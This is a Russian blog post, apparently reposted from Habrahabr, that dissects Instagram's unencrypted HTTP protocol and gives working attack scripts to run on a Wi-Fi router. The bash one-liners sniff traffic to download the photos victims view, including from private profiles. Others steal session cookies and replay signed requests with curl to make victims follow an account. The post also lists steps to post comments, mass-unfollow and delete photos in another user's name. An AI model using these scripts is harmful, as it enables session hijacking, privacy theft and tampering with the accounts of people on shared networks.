Хэй, имярек, отгадай загадку! Какой стартап был продан в 2012 году за миллиард долларов? В какой очередной соцсети наш запасной президент завел блох в прошлом году? Какая соцсеть попыталась объявить своей собственностью генерируемый юзером контент?
Ага, верно! Сегодня мы поговорим про Instagram.
При всем медийном внимании к Instagram, я нигде не встречал анализа безопасности этого проекта, а там есть что анализировать. Instagram общается по открытому http (!) и если иногда и использует криптографию, то весьма странным образом.
Много подробностей и клевый DIY хак под катом.
Платформа для исследования
В качестве полигона для всех моих экспериментов будет выступать мой домашний роутер Asus rt-n56u с кастомной прошивкой от Padavan и софтом из репозитория Entware. Такой выбор сделан намеренно. Результатом моих копаний стало несколько bash скриптов (ими я поделюсь ниже), которые могут вполне автономно выполнять некоторые вещи из ниже описанного, не привлекая к себе особого внимания.
Кроме того, роутер эмулирует халявный wifi интернет: именно такой может стоять в вашем любимом кафе или у вашего коварного соседа.
Трафик на роутере собирался в сетевую папку с помощью tcpdump
tcpdump –i br0 src <ip телефона> and port 80 –w /opt/tmp/dump.dmp
И отправлялся через сетевую папку в Wireshark на ПК. Восстановить http диалог между клиентом и сервером очень удобной с помощью функции “Follow TCP Stream”.
Для генерации собственных тестовых POST и GET запросов на сервера Instagram я использовал удобный плагин для ФФ – HttpRequester.
Instagram имеет так же бесплатный открытый API для сторонних разработчиков, который работает через https (!), но имеет ряд ограничений, главным из которых является отсутствие возможности публикации инстаграммок. Очень советую поковырять онлаин developer api! Забавная штука…
Протокол обмена информацией
Все общение между клиентом и сервером (кроме аутентификации) происходит в открытом виде с помощью POST и GET запросов.
Недавно в целях усиления безопасности в протокол была добавлена функция signed_body, которая возвращает хитрый HMAC SHA256 хэш передаваемого ей параметра и помещает его в POST запрос в месте с самим параметром (см. скриншот).
К сожалению, мне так и не удалось разгадать алгоритм формирования хэша до того, как Java съела мой мозг. Выдранную из андроидовского apk функцию вместе с фиксированным секретным ключом я залил на pastebin для любознательных. Если кому-то удастся ее разгадать – поделитесь, пожалуйста.
Главным недостатком процедуры формирования подписи signed_body является малый набор переменных в хэшируемой строке. Например, подписанный signed_body комментарий подойдет к любой инстаграмме от имени любого пользователя; а для того, чтобы полайкать фото или его удалить, понадобится один и тот же контрольный хэш media_id.
Рассмотрим теперь самые частые варианты POST запросов на сервер:
###действие#############URL########################параметр signed_body###
Зафоловить(расфоловить) /api/v1/friendships/create(destroy)/{user_id}/ user_id
Прокомментировать /api/v1/media/{media_id}/comment/ comment_text
Удалить комментарий /api/v1/media/{media_id}/comment/{comment_id}/delete/ comment_id, media_id
Лайкнуть(отлайкать) /api/v1/media/{media_id}/like(unlike)/ media_id
Удалить /api/v1/media/{media_id}/delete/ media_id
Media_id формируется как photo_id+”_”+user_id.
Способы применения
Все нижеописанные атаки основаны на допущении, что у вас есть доступ к маршрутизатору или хотя бы к сетевому трафику (например, с помощью passive lan tap).
Начнем с того, что будем в автоматическом режиме скачивать все публикуемые и просматриваемые фотографии пользователя (в т.ч. и из закрытых профилей).
#!/bin/bash while true do tcpdump -i br0 port 80 -nn -w - | grep -m 1 -A 1 _7.jpg | awk '{one =$2 ; getline ; print "http://" $2 one ; getline}'| xargs wget -P /opt/tmp/photo done
Ловим во всем трафике GET запросы файлов _7.jpg (так заканчиваются все инстаграммы большого размера) и скармливаем их wget’у. Фотки будут появляться в папке photo в реальном времени.
Autofollow
Теперь зафоловим свой аккаунт от имени пользователя. Для этого нам нужна только пролетающая беззащитная пользовательская печенька 🙂
/opt/home/admin # COOKIE=`tcpdump -i br0 port 80 -nn -w - |grep -m 1 ds_user_id= | awk '{print $2$3$4$5}'` /opt/tmp/curl_follow.sh
Ловим весь пролетающий http трафик. Выуживаем пользовательские cookie и чуть причесываем их. Затем отдаем скрипту curl_follow.sh
/opt/home/admin # cat /opt/tmp/curl_follow.sh #! /bin/bash curl -X POST \ -H "Connection: Keep-Alive" \ --user-agent "Instagram 3.4.0 Android (17/4.2.1; 240dpi; 480x800; samsung/Samsung; GT-I9100; GT-I9100; smdk4210; en_US)" \ -b $COOKIE \ -d signed_body=08501f85a71be55abfa0d36719f72a27debb2ee769fd2f4ffe086c07ae129f6a.%7B%22user_id%22%3A%2237343536%22%7D&ig_sig_key_version=4" \ instagram.com/api/v1/friendships/create/37343536/
Прелесть этого сценария — возможность автономной работы на маршрутизаторе без вмешательства человека. Настроил, запустил и любуешься на растущий счетчик своих адептов 🙂
Что еще можно сделать?
Оставлять комментарии к любым фоткам от имени пользователя.
1. Прегенирируем нужный комментарий от своего аккаунта на своем телефоне к любой инстаграмме;
2. Поймаем и скопируем поле данных signed_body POST пакета;
3. Собираем свой пакет из cookie пользователя, нашего signed_body и нужного media_id.
Лайкать от имени пользователя определенную инстаграмму
1. Прегенирируем signed_body с нужным media_id;
2. Ловим cookie пользователя;
3. Делаем всё тоже самое, что и в примере с фолловингом.
Можно, конечно, использовать и вот такие темные трюки:
Разфрендить всех френдов
– получить id фоловеров, зафоловить их с левого аккаунта, узнав тем самым signed_body user_id. Расфоловить от имени пользователя, используя перехваченную печеньку.
Удалять инстаграммы пользователя
– получить список media_id пользователя, полайкать от имени стороннего аккаунта, получив тем самым signed_body media_id, удалить используя куки пользователя.
Вместо заключения и выводов, небольшое видео с демонстрацией:
ссылка на оригинал статьи http://habrahabr.ru/post/166773/
Добавить комментарий